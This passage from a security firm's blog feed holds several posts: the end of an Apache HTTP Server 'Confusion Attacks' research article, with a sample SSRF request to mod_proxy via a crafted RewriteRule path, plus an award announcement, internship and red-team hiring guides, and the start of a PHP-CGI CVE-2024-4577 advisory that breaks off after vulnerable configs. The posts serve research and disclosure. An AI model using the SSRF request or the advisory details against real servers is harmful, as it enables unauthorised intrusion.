href="https://github.com/orangetw/My-CTF-Web-Challenges?tab=readme-ov-file#ostyle">the second <code class="language-plaintext highlighter-rouge">.var</code> trick</a> I proposed. 😉</p> <p><br /></p> <h4 id="️-cve-2024-39573---ssrf-via-full-control-of-rewriterule-prefix">⚔️ CVE-2024-39573 - SSRF via Full Control of <code class="language-plaintext highlighter-rouge">RewriteRule</code> Prefix</h4> <p>Lastly, when you have full control over the prefix of a <code class="language-plaintext highlighter-rouge">RewriteRule</code> substitution target in <code class="language-plaintext highlighter-rouge">Server Config</code> or <code class="language-plaintext highlighter-rouge">VirtualHost</code> is fully controllable, you can invoke <code class="language-plaintext highlighter-rouge">mod_proxy</code> and its sub-modules:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> ^/broken(.*) $1 </code></pre></div></div> <p>Using the following URL can delegate the request to <code class="language-plaintext highlighter-rouge">mod_proxy</code> for processing:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/brokenproxy:unix:/run/[...]|http://path/to </code></pre></div></div> <p>But if administrators have tested the rule properly, they would realize that such rules are impractical. Thus, originally it was reported along with another vulnerability as an exploit chain, but this behavior was also treated as a security boundary fix by the security team. As the patches came out, other researchers applied the same behavior to Windows UNC and obtained another additional CVE.</p> <p><br /></p> <h2 id="future-works">Future Works</h2> <p>Finally, let’s talk about future works and areas for improvement in this research. Confusion Attacks are still a very promising attack surface, especially since my research focused mainly on just two fields. Unless the Apache HTTP Server undergoes architectural improvements or provides better development standards, I believe we’ll see more “confusions” in the future!</p> <p>So, what other areas could be enhanced? In reality, different Httpd distributions have different configurations, so other Unix-Like systems such as the RHEL series, BSD family, and even applications that utilize Httpd might have more escapable <code class="language-plaintext highlighter-rouge">RewriteRule</code>, more powerful local gadgets, and unexpected symbolic jumps. These are all left for those interested to continue exploring.</p> <p>Due to time constraints, I was unable to share more real-world cases found and exploited in actual websites, devices, or even open-source projects. However, you can probably imagine — the real world is still full of countless unexplored rules, bypassable authentications, and hidden CGIs waiting to be uncovered. How to hunt these techniques worldwide? That’s your mission!</p> <p><br /></p> <h2 id="conclusion">Conclusion</h2> <p>Maintaining an open-source project is truly challenging, especially when trying to balance user convenience with the compatibility of older versions. A slight oversight can lead to the entire system being compromised, such as what happened with Httpd 2.4.49, where a minor change in path processing logic led to the disastrous <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773">CVE-2021-41773</a>. The entire development process must be carefully built upon a pile of legacy code and technical debt. So, if any Apache HTTP Server developers are reading this: Thank you for your hard work and contributions!</p> https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/ https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en Fri, 09 Aug 2024 00:00:00 +0800 Angelboy 入列微軟 MSRC 2024 前百大最有價值資安研究員! <p>恭喜 DEVCORE 資深資安研究員 Angelboy 榮獲 Microsoft 的 MSRC 2024 Most Valuable Security Researchers 的殊榮!除了在不分項 TOP 100 名單中榮獲 #33 名,在 Angelboy 長年研究的 Windows 領域中,他更以 #9 的名次擠入前十大行列。</p> <p>這不僅是 Angelboy 首次登上該年度榜單,同時也是該名單中排名最高的台灣資安研究員。</p> <p>Microsoft 旗下的 Microsoft Security Response Center(MSRC,或稱 Microsoft 安全性回應中心)長期藉 Microsoft Researcher Recognition Program(MRRR)計畫,公開表揚協助 Microsoft 挖掘系統安全漏洞的資安研究員,以此致謝優秀資安研究員為 Microsoft 的客戶及產品安全所付出的努力。</p> <p>Microsoft 於 7 日公布的 MSRC 2024 Most Valuable Security Researchers 名單,是根據 2023 年 7 月至 2024 年 6 月,全球各地資安研究員向 MSRC 回報的漏洞得分所統計而得。在整體不分項名單中,Angelboy 獲得了 #33 名的殊榮。而針對 Microsoft 旗下各類型產品的 Windows 類別中,Angelboy 則入列 TOP 10,獲得 #9 的成績,並經認證全數漏洞回報皆為有效回報。</p> <p>再次恭喜 Angelboy 奪得此一殊榮!</p> <p>參考資料:</p> <ul> <li><a href="https://msrc.microsoft.com/blog/2024/08/congratulations-to-the-msrc-2024-most-valuable-security-researchers/">Microsoft official announcement - Congratulations to the MSRC 2024 Most Valuable Security Researchers!</a></li> <li><a href="https://msrc.microsoft.com/leaderboard">Microsoft MSRC 2024 leaderboard</a></li> </ul> https://devco.re/blog/2024/08/08/msrc-2024-most-valuable-security-researchers-angelboy/ https://devco.re/blog/2024/08/08/msrc-2024-most-valuable-security-researchers-angelboy Thu, 08 Aug 2024 00:00:00 +0800 MSRC 2024 Most Valuable Security Researchers - Angelboy <p>We’re thrilled to announce that Angelboy, senior security researcher at DEVCORE, is named one of Microsoft’s MSRC 2024 Most Valuable Security Researchers! He not only secured the #33 spot on the overall list but also achieved the #9 position in the Windows category.</p> <p>This is the first time Angelboy has been shortlisted on this annual leaderboard, and he is also the highest-ranked Taiwanese security researcher featured. This prestigious accomplishment highlights his exceptional expertise and significant contributions to the field.</p> <p>The Microsoft Security Response Center (MSRC) has long recognized the efforts of security researchers who partner with Microsoft in reporting vulnerabilities through its Microsoft Researcher Recognition Program (MRRR). The program expresses gratitude for their contributions to the security of Microsoft’s global customers and products.</p> <p>The MSRC 2024 Most Valuable Security Researchers list, announced on August 7th, is based on the total number of points the researchers earned for each valid report from July 2023 to June 2024. Angelboy secured the #33 spots on the leaderboard. Specifically, his dedicated passion for Windows Kernel research earned him a #9 ranking in the Windows category, placing him in the TOP 10. He was also awarded “Accuracy” and “Volume” badges, further highlighting his significant contributions to vulnerability research.</p> <p>References:</p> <ul> <li><a href="https://msrc.microsoft.com/blog/2024/08/congratulations-to-the-msrc-2024-most-valuable-security-researchers/">Microsoft official announcement - Congratulations to the MSRC 2024 Most Valuable Security Researchers!</a></li> <li><a href="https://msrc.microsoft.com/leaderboard">Microsoft MSRC 2024 leaderboard</a></li> </ul> https://devco.re/blog/2024/08/08/msrc-2024-most-valuable-security-researchers-angelboy-en/ https://devco.re/blog/2024/08/08/msrc-2024-most-valuable-security-researchers-angelboy-en Thu, 08 Aug 2024 00:00:00 +0800 DEVCORE 2024 第六屆實習生計畫 <p>DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第五屆實習生計畫也將於今年 7 月底告一段落。我們很榮幸地宣佈,第六屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!</p> <!-- more --> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Research 及 Red Team 兩個組別,主要內容如下:</p> <ul> <li>Research (Binary/Web) 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 60 %</li> <li>1-day 開發 (Exploitation) 30 %</li> <li>成果報告與準備 10 %</li> </ul> </li> <li>Red Team 研究並深入學習紅隊常用技巧,熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。 <ul> <li>漏洞與技巧的研究及深入學習 70 %</li> <li>Lab 建置或 Bug Bounty 或漏洞挖掘 30 %</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2024 年 9 月開始到 2025 年 1 月底,共 5 個月。</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>每週固定一天下午 14:00 - 18:00 必須到公司討論進度 <ul> <li>如果居住雙北外可彈性調整(但須每個組別統一)</li> </ul> </li> <li>其餘時間皆為遠端作業</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <ul> <li>具有一定程度資安背景的學生,且可每週工作兩天</li> <li>此外並無其他招募限制,歷屆實習生可重複應徵</li> <li>對資格有任何疑慮,歡迎來信詢問</li> </ul> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Research 組:2~3 人</li> <li>Red Team 組:2~3 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 16,000 元</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="research-binaryweb">Research (Binary/Web)</h4> <ul> <li>基本漏洞利用及挖掘能力</li> <li>具備研究熱誠,習慣了解技術本質</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備獨立分析開放原始碼專案的能力,能透過分析程式碼理解目標專案的架構</li> <li>熟悉並理解常見的漏洞成因 <ul> <li>OWASP Web Top 10</li> <li>Memory Corruption</li> <li>Race Condition</li> <li>…</li> </ul> </li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>有公開的技術 blog/slide、write-ups 或是演講</li> <li>精通 IDA Pro 或 Ghidra</li> <li>熟悉任一種網頁程式語言或框架(如:PHP、ASP.NET、Express.js),具備可以建立完整網頁服務的能力</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中的安全議題</li> <li>獨立挖掘過 0-day 漏洞,或分析過 1-day 的經驗</li> <li>具備下列其中之一經驗 <ul> <li>Web Application Exploit</li> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="red-team">Red Team</h4> <ul> <li>熟悉 OWASP Web Top 10</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中所有的安全議題或已完成所有 Lab</li> <li>理解計算機網路的基本概念</li> <li>熟悉任一種網頁程式開發方式(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備可以建置、設定常見網頁伺服器(如:Nginx、Apache、Tomcat、IIS)及作業系統(如:Linux、Windows)的能力</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day Exploit</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目</li> <li>擁有 OSCP 證照或同等能力之證照</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為二個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>履歷內容</li> <li>簡答題答案 <ul> <li>應徵 Research 實習生: <ul> <li>題目一:漏洞重現與分析過程 <ul> <li>請提出一個,你印象最深刻或感到有趣、於西元 2022 ~ 2024 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時,嘗試描述如何復現此漏洞或攻擊鏈,即使無法成功復現,也請記錄研究過程。報告撰寫請參考<a href="/assets/files/recruit/binary/2024_6th_intern_analysis_example.pdf">範本</a>,盡可能詳細,中英不限。</li> </ul> </li> <li>題目二:實習期間想要研究的主題 <ul> <li>請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如: <ul> <li>研究◯◯開源軟體,找到可 RCE 的重大風險弱點。</li> <li>研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。</li> <li>研究常見的筆記平台或軟體,目標包括:XX Note、YY Note。</li> </ul> </li> </ul> </li> </ul> </li> <li>應徵 Red Team 實習生: <ul> <li>請提出兩個於西元 2022 ~ 2024 年間公開的、與 Web 攻擊面、漏洞或攻擊鏈相關的演講。請說明為什麼挑選這些演講並解釋它們為什麼有趣。用你的話詳細解釋這些演講的細節,並提供任何你覺得可以輔助或證明你理解的附加資料。這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、ZeroConf、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。</li> </ul> </li> </ul> </li> </ul> <p>本階段收件截止時間為 <strong>2024/08/09 23:59</strong>,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在 10 個<strong>工作天</strong>內回覆。</p> <h4 id="第二階段面試">第二階段:面試</h4> <p>此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h4 id="時間軸">時間軸</h4> <ul> <li>2024/07/18 - 2024/08/09 公開招募</li> <li>2024/08/12 - 2024/08/22 面試</li> <li>2024/08/26 前回應結果</li> <li>2024/09/02 第六屆實習計畫於當週開始</li> </ul> <h3 id="報名方式">報名方式</h3> <ul> <li>請將您的<strong>履歷</strong>及<strong>題目答案</strong>以 PDF 格式寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOCX</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> <li>請於 <strong>2024/08/09 23:59</strong> 前寄出(如果名額已滿則視情況提早結束)</li> </ul> </li> <li>信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Red Team 組實習生 王小美)</li> <li>履歷內容請務必控制在三頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>實習經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>過去對於資安的相關研究</li> <li>MBTI 職業性格測試結果(<a href="https://www.16personalities.com/tw">測試網頁</a>)</li> </ul> </li> </ul> <p>若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2024/07/18/6th-internship-program-recruit/ https://devco.re/blog/2024/07/18/6th-internship-program-recruit Thu, 18 Jul 2024 00:00:00 +0800 紅隊演練專家應徵指南 <p>紅隊演練是 DEVCORE 最核心的業務。我們擁有豐富的實戰經驗,並且集結了一群優秀的夥伴共同迎接挑戰。很多技術愛好者希望加入我們,想要了解我們錄取新人所看重的方向。趁著畢業季求職潮,我們特別準備了這份應徵指南,希望幫助有興趣的人了解準備方向,也希望幫助一些剛畢業、不擅長撰寫履歷、不擅長在面試中表達自己的人,補足必要技能以免錯失機會。無論您對紅隊演練專家或滲透測試工程師感興趣,期望可以循著這份指南,成為我們的夥伴。</p> <p>順帶一提,有一個在學生可能感興趣的資訊:DEVCORE 有研發替代役名額,唯名額有限,推薦您在學期間盡早投遞履歷並詢問替代役狀況。</p> <h2 id="-devcore-應徵流程">🚀 DEVCORE 應徵流程</h2> <p>應徵紅隊演練專家、滲透測試工程師都會經歷「書面審查」、「線上測驗」、「面試」三個階段。</p> <h3 id="-書面審查">📌 書面審查</h3> <p>履歷是這個階段主要評估依據,以下 4 點是我們認為應徵者需要注意的地方:</p> <h4 id="履歷內容符合職務需求嗎">履歷內容符合職務需求嗎</h4> <p>這個階段最重要的是說服審核者你具備職務需求的能力,所以請盡量在履歷內容附上能幫助別人判斷的佐證資訊。過去有些技術底不錯的同學只單純放了學歷,這樣要讓審核者想找個可以進入下一階段的理由都難,相當可惜。</p> <h4 id="用一些實例說明吧">用一些實例說明吧</h4> <p>實例證明是讓你的履歷脫穎而出的關鍵,具體的數字和事實可以大大增加履歷的說服力,例如能具體說出打過多少場滲透測試,在過程中找了多少漏洞,或在任務中解決了什麼樣的問題,達到什麼效果。這些不僅能表示技術能力,還能顯示你的影響力。</p> <h4 id="提供有幫助的額外資訊">提供有幫助的額外資訊</h4> <p>相關專業證照、參與技術社群、貢獻開源專案等額外資訊都有助於審核者評估。有些人好奇一些非技術等經驗應不應該放在履歷中,我們預設是不會特別參考,但如果你認為這些經驗對未來工作有正面影響,可附上讓審核者評估。</p> <h4 id="特別希望列出的加分項">特別希望列出的加分項</h4> <p>下面列出一些非必要但有會很不錯的加分項目,如果有這方面的經歷務必要寫上。同時也列出每個項目中我們看重的特質,如果有其他可以展現這些特質的經歷也歡迎列出來讓審核者知道。</p> <h5 id="-實戰經驗如cvebug-bounty">📄 實戰經驗如:CVE、bug bounty</h5> <ul> <li>代表您擁有解決未知問題能力。</li> <li>代表您能看到別人所沒有關注到的細節。</li> </ul> <h5 id="-ctf-writeups-或是-blog">📄 CTF Writeups 或是 Blog</h5> <ul> <li>如果在 CTF 比賽有不錯的成績,通常意味著你擁有在短時間內分析歸納重點的能力、也能夠快速找到解決辦法,聯想力創造力可能也不差。</li> <li>我們希望能了解您如何描述複雜的漏洞,因為在將來的工作中需要將漏洞過程清楚描述並給予建議。</li> <li>寫 Blog 除了能展現表達和文字能力外,通常也具有持續學習的熱情和樂於分享的特質,符合 DEVCORE 核心價值觀。</li> </ul> <h5 id="-ctf-出題經驗">📄 CTF 出題經驗</h5> <ul> <li>代表平常會持續關注流行的技術、研究語言或框架特性,能注意到一些鮮少人知道的小細節。</li> <li>說明你除了攻擊,還具備一定程度的開發能力。</li> <li>為了怕題目被 CTF 玩家惡意破壞,通常出題者也具備高水準的防禦能力。</li> </ul> <h3 id="-線上測驗">📌 線上測驗</h3> <p>這個階段的進行方式與一般線上靶機環境如 OSCP、HTB 無異,會分配到一個題組,平均需要解五把 flag。應徵者會有相當足夠的時間進行解題(預設 10 天,視題目會微調),最後交付報告。我們期待從線上測驗中看到應徵者具備下述能力:</p> <ul> <li>偵查:能否透過現有資訊合理推斷背後的架構或寫法。</li> <li>漏洞挖掘:能否找到題目中設計的漏洞。</li> <li>應變:碰到特殊的環境可否自行想辦法克服。例如在只有 command injection 且內網有防火牆限制的特殊環境下,怎麼用手邊可利用的資源達成你的目標。</li> </ul> <h3 id="-面試">📌 面試</h3> <p>最後的面試階段會全面評估你是否適合這個職位,下述 2 件事情特別想與應徵者分享:</p> <h4 id="被問倒是正常的">被問倒是正常的</h4> <p>在面試過程中,面試官會從多個角度深入了解應徵者技術的廣度和深度,因此,會被問倒是正常的。請對自己的技術能力有信心,畢竟你已經通過了第二階段的線上測驗。被問到不熟悉的問題時,只要誠實地表達你的思考過程和解決問題的方法即可。我們想要知道思考脈絡,甚至期待你說:我看到 XX 特徵覺得這題可能是 OO 方向解,我會想用什麼關鍵字搜尋找答案。這樣的回答也凸顯了你的判斷力和解決問題的能力。</p> <h4 id="分享你的-hack-故事">分享你的 Hack 故事</h4> <p>我們期待在面試中聽你分享過去特別的 Hack 經歷,並且與你討論細節。Hack 的內容不限,例如:</p> <ul> <li>履歷中提到的 CVE、bug bounty <ul> <li>希望是一些特別的情境,如果找到的是常見漏洞如 SQLi 或 XSS,那會希望了解這個漏洞特別在哪?或者是能說出你做了什麼,為什麼你能找到這個漏洞?</li> </ul> </li> <li>在 CTF 比賽中想到的精妙解法</li> <li>生活中為了達成目標做的 Hack <ul> <li>例如:為了自動化工作流程寫了個小工具;為了租房資訊串了個方便通知系統;想把遊戲每日領取任務自動化。</li> </ul> </li> </ul> <h2 id="-自我鍛鍊之路">🚀 自我鍛鍊之路</h2> <p>這一段寫給現在還在準備階段,未來很想要加入資安檢測行業的同學。為了增加自己的實力,在應徵前有下面幾個精進事項可參考,這對在資安領域長遠發展也很有幫助。</p> <h3 id="-補足基礎知識">📌 補足基礎知識</h3> <h4 id="web-常見漏洞種類">Web 常見漏洞種類</h4> <p>我們認為 <a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a> 整理的漏洞經典且完整,加上有 LAB 可以直接練習,適合初學者。這些漏洞是從事資安檢測最基礎的溝通語言,推薦要把<a href="https://portswigger.net/web-security/all-materials">教材頁面</a>上所有漏洞練習完,可以從<a href="https://portswigger.net/web-security/all-topics">主題頁面</a>看分類會比較清楚。若以紅隊為目標,我們會優先關注能拿 shell 的後端漏洞。 以下提供幾點自我驗證與精進項目:</p> <ul> <li>抽一個漏洞是否可以說出這個漏洞常發生在什麼功能?背後的成因?通常可以怎麼進階利用這個漏洞?</li> <li>有沒有辦法在黑箱狀態,透過測試辨識出這些漏洞?</li> <li>在白箱狀態下,知道哪些漏洞要透過搜尋什麼函數找到?</li> <li>我們在面試中喜歡問各種漏洞怎麼拿 shell 的問題,因為這就是紅隊演練目標的第一步。搜尋 “from XSS to RCE” 這類的關鍵字能找到相當多案例(XSS 可以取代成 SQLi 等漏洞)。</li> </ul> <h4 id="紅隊戰術與技巧">紅隊戰術與技巧</h4> <p>控制一台電腦後,仍需要在內網中擴散完成任務目標。<a href="https://ired.team/">ired.team</a> 提供了一本紅隊技巧工具書,推薦閱讀以了解在不同階段有哪些招式可用。對 DEVCORE 而言,我們優先關注「Active Directory &amp; Kerberos Abuse」、「Credential Access &amp; Dumping」、「Lateral Movement」章節下的技能。此外,「Network pivoting &amp; tunneling」的概念和技巧也是我們會關注的能力,ired.team 在這塊著墨較少,<a href="https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/">這篇文章</a>涵蓋了必要知識和工具可參考。 以終為始學習,希望在練習這些技巧和工具後,能對下面的問題有自己的看法:</p> <p>如果打下企業一台外網服務,而你的目標是該企業內網網域控制器(情境架構可自行假設):</p> <ul> <li>為了打 AD,你在打下的外網伺服器上會做哪些事情?為什麼?過程中你偏好使用什麼工具?偏好的原因是什麼?</li> <li>同上,這台伺服器如果有網域帳號你之後會做哪些事情?如果沒有網域帳號呢?</li> <li>想拿下網域控制器,心中能否馬上跳出五種以上的方法?你會優先嘗試什麼方法?為什麼?</li> <li>過程中橫向移動偏好使用什麼工具?為什麼?</li> </ul> <h3 id="-練習">📌 練習</h3> <h4 id="虛擬靶機練習">虛擬靶機練習</h4> <p>除了知識外,也要找一些模擬環境培養手感。知名的 Hack The Box 和 OffSec 都有推出學習路徑和豐富的靶機:</p> <ul> <li><a href="https://academy.hackthebox.com/catalogue/paths">Hack The Box Cybersecurity Paths</a> (優先練習:Penetration Tester, Senior Web Penetration Tester, Active Directory Enumeration)</li> <li><a href="https://www.offsec.com/learning/paths/">OffSec Learning Paths</a> (Filter: Red Teamer, Web App Tester)</li> </ul> <p>選擇適合自己的平台練習即可。也可以單純打 <a href="https://app.hackthebox.com/">HTB Labs</a> 靶機,練到覺得每次解題目要做的事情都類似,開始覺得題目有套路感就可以了,一些特殊解法在現階段不需糾結。過去有玩 HTB 的實習生在錄取前附上的 Writeups 大概會寫 30~50 台靶機,這個數量級或許可以參考。另外若要練習打網域,最近 GitHub 上有一個 <a href="https://github.com/Orange-Cyberdefense/GOAD">GOAD LAB</a> 專案滿值得參考。</p> <p>如果想考證照,我們有考過覺得對提昇檢測工作能力有幫助的有:</p> <ul> <li><a href="https://www.offsec.com/courses/pen-200/">OffSec PEN-200(OSCP) </a> <ul> <li>提昇識別和利用漏洞能力</li> </ul> </li> <li><a href="https://www.offsec.com/courses/web-300/">OffSec WEB-300(OSWE)</a> <ul> <li>提昇白箱挖掘漏洞能力</li> </ul> </li> <li><a href="https://www.alteredsecurity.com/adlab">Certified Red Team Professional (CRTP) </a> <ul> <li>提昇網域相關基本知識面與攻擊面</li> <li>新手友善,是少數可以系統性學習網域攻擊的場域。內容較簡單且與 DEVCORE 慣用作法有落差,但入職後上手會較快。</li> </ul> </li> </ul> <p>註:以上僅提供已知有幫助的證照,不代表其他證照沒有幫助</p> <h4 id="實戰練習">實戰練習</h4> <p>最推薦的還是到真實場域來看看。</p> <ul> <li><strong>白箱練習</strong>:可以嘗試找你熟悉或喜歡的 GitHub 專案,先看這個專案過去的漏洞,試試看如果自己白箱看有沒有辦法能追到。如果這些有正解的漏洞都能順利找到,接著就開始找一些 Open Source 專案來挖掘 0-day 吧。</li> <li><strong>黑箱練習</strong>:參與 bug bounty 計畫,挑戰真實世界的安全問題。台灣企業的計畫可以參考 <a href="https://zeroday.hitcon.org/bug-bounty/list">HITCON ZeroDay</a> ,國外則推薦 <a href="https://hackerone.com/opportunities/all">HackerOne</a> 上面的目標。這些計畫會讓你面對更複雜和多樣的攻擊場景,提升你的實戰能力。</li> </ul> <h3 id="-找同伴一起">📌 找同伴一起</h3> <p>在資安這條路上,找到志同道合的夥伴一起學習、一起打 CTF、一起挖漏洞絕對比獨自升級來的有效率,下列活動可考慮參加:</p> <ul> <li><a href="https://hitcon.org/2024/CMT/">HITCON Community</a>: 幾乎所有資安社群都會聚集在這個研討會,可以在研討會中找一個適合自己的社群參與。</li> <li><a href="https://ais3.org/">AIS3</a>: 聚集台灣幾乎所有對資安有興趣的在學生。滿有機會在這邊認識志同道合的朋友。</li> <li><a href="https://forms.gle/3HHuBVzjHCwfAnGc8">台灣好厲駭 Deep Hacking 讀書會</a>: 全台灣探討資安最深最扎實的讀書會之一,參加絕對可以提昇視野、也能認識各種高手。內容偏 Binary 但目前漸漸在轉型中,希望不分類以挖掘漏洞為主。</li> <li>DEVCORE 實習生計畫: 每年一月中和七月中會招生,如果目的是應徵 DEVCORE,參加計畫問導師應該是最快的。</li> </ul> <p>如果你想知道更多資源,<a href="https://github.com/Ice1187/TW-Security-and-CTF-Resource">台灣資安 / CTF 學習資源整理</a> 整理的資源值得參考。</p> <h2 id="-小結">🚀 小結</h2> <p>本篇指南分成兩部分:前半部主要在給應徵者一些小提醒,希望應徵者能把最好的一面呈現出來。後半部提供一個學習的脈絡,希望給還在學習階段的人一個比較清楚的方向。</p> <p>最終,我們都希望台灣有越來越多熱愛技術的人進入資安產業。希望,未來能持續在資安領域看見正在閱讀的你。</p> https://devco.re/blog/2024/07/09/guide-to-applying-for-red-team-specialist/ https://devco.re/blog/2024/07/09/guide-to-applying-for-red-team-specialist Tue, 09 Jul 2024 00:00:00 +0800 資安通報:PHP 遠端程式碼執行 (CVE-2024-4577) - PHP CGI 參數注入弱點 <p><a href="/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/">English Version</a>, <a href="/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/">中文版本</a></p> <p>戴夫寇爾研究團隊在進行<a href="https://devco.re/research/overview/">前瞻攻擊研究</a>期間,發現 PHP 程式語言存在遠端程式碼執行弱點,基於 PHP 在網站生態使用的廣泛性以及此弱點之易重現性,研究團隊將此弱點標記為嚴重、並在第一時間回報給 PHP 官方。官方已在 2024/06/06 發佈修復版本,詳細時程可參閱<a href="#漏洞回報時間軸">漏洞回報時間軸</a>。</p> <h2 id="漏洞描述">漏洞描述</h2> <p>PHP 程式語言在設計時忽略 Windows 作業系統內部對字元編碼轉換的 <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8">Best-Fit</a> 特性,導致未認證的攻擊者可透過特定的字元序列繞過舊有 <a href="https://www.kb.cert.org/vuls/id/520827">CVE-2012-1823</a> 的保護;透過參數注入等攻擊在遠端 PHP 伺服器上執行任意程式碼。</p> <h2 id="影響範圍">影響範圍</h2> <p>此弱點<strong>影響安裝於 Windows 作業系統上所有的 PHP 版本</strong>,詳情可參照下表:</p> <ul> <li>PHP 8.3 &lt; 8.3.8</li> <li>PHP 8.2 &lt; 8.2.20</li> <li>PHP 8.1 &lt; 8.1.29</li> </ul> <p>由於 PHP 8.0 分支、PHP 7 以及 PHP 5 官方已<a href="https://www.php.net/eol.php">不再維護</a>,網站管理員可參考<a href="#如何確認自己易遭受攻擊">如何確認自己易遭受攻擊</a>章節,並於<a href="#修補建議">修補建議</a>找到暫時緩解措施。</p> <h2 id="如何確認自己易遭受攻擊">如何確認自己易遭受攻擊?</h2> <p>對於常見之 Apache HTTP Server 加上 PHP 組合,網站管理員可透過此文章列出之兩個方式確認伺服器是否易被攻擊。其中,情境二也是 <a href="https://www.apachefriends.org/">XAMPP for Windows</a> 安裝時的預設設定,因此<strong>所有版本的 XAMPP for Windows 安裝也預設受此弱點影響。</strong></p> <p>在本文撰寫當下已驗證當 Windows 作業系統執行於下列語系時,<strong>未授權的攻擊者可直接在遠端伺服器上執行任意程式碼</strong>:</p> <ul> <li>繁體中文 (字碼頁 950)</li> <li>簡體中文 (字碼頁 936)</li> <li>日文 (字碼頁 932)</li> </ul> <p>對於其它執行在英文、韓文、西歐語系之 Windows 作業系統,由於 PHP 使用情境廣泛、暫無法完全列舉並排除其利用情境,因此還是建議使用者全面盤點資產、確認使用情境並更新 PHP 至最新版本確保萬無一失!</p> <h3 id="情境一-將-php-設定於-cgi-模式下執行">情境一: 將 PHP 設定於 CGI 模式下執行</h3> <p>在 Apache Httpd 設定檔中透過 <code class="language-plaintext highlighter-rouge">Action</code> 語法將對應的 HTTP 請求交給 PHP-CGI 執行檔處理時,受此弱點影響,常見設定包含但不限於:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddHandler</span> cgi-script .php <span class="nc">Action</span> cgi-script "/cgi-bin/php-cgi.exe" </code></pre></div></div> <p>或</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">FilesMatch</span><span class="sr"> "\.php$"</span><span class="p">&gt; </span> <span class="nc">SetHandler</span> application/x-httpd-php-cgi <span class="p">&lt;/</span><span class="nl">FilesMatch</span><span class="p">&gt; </span> 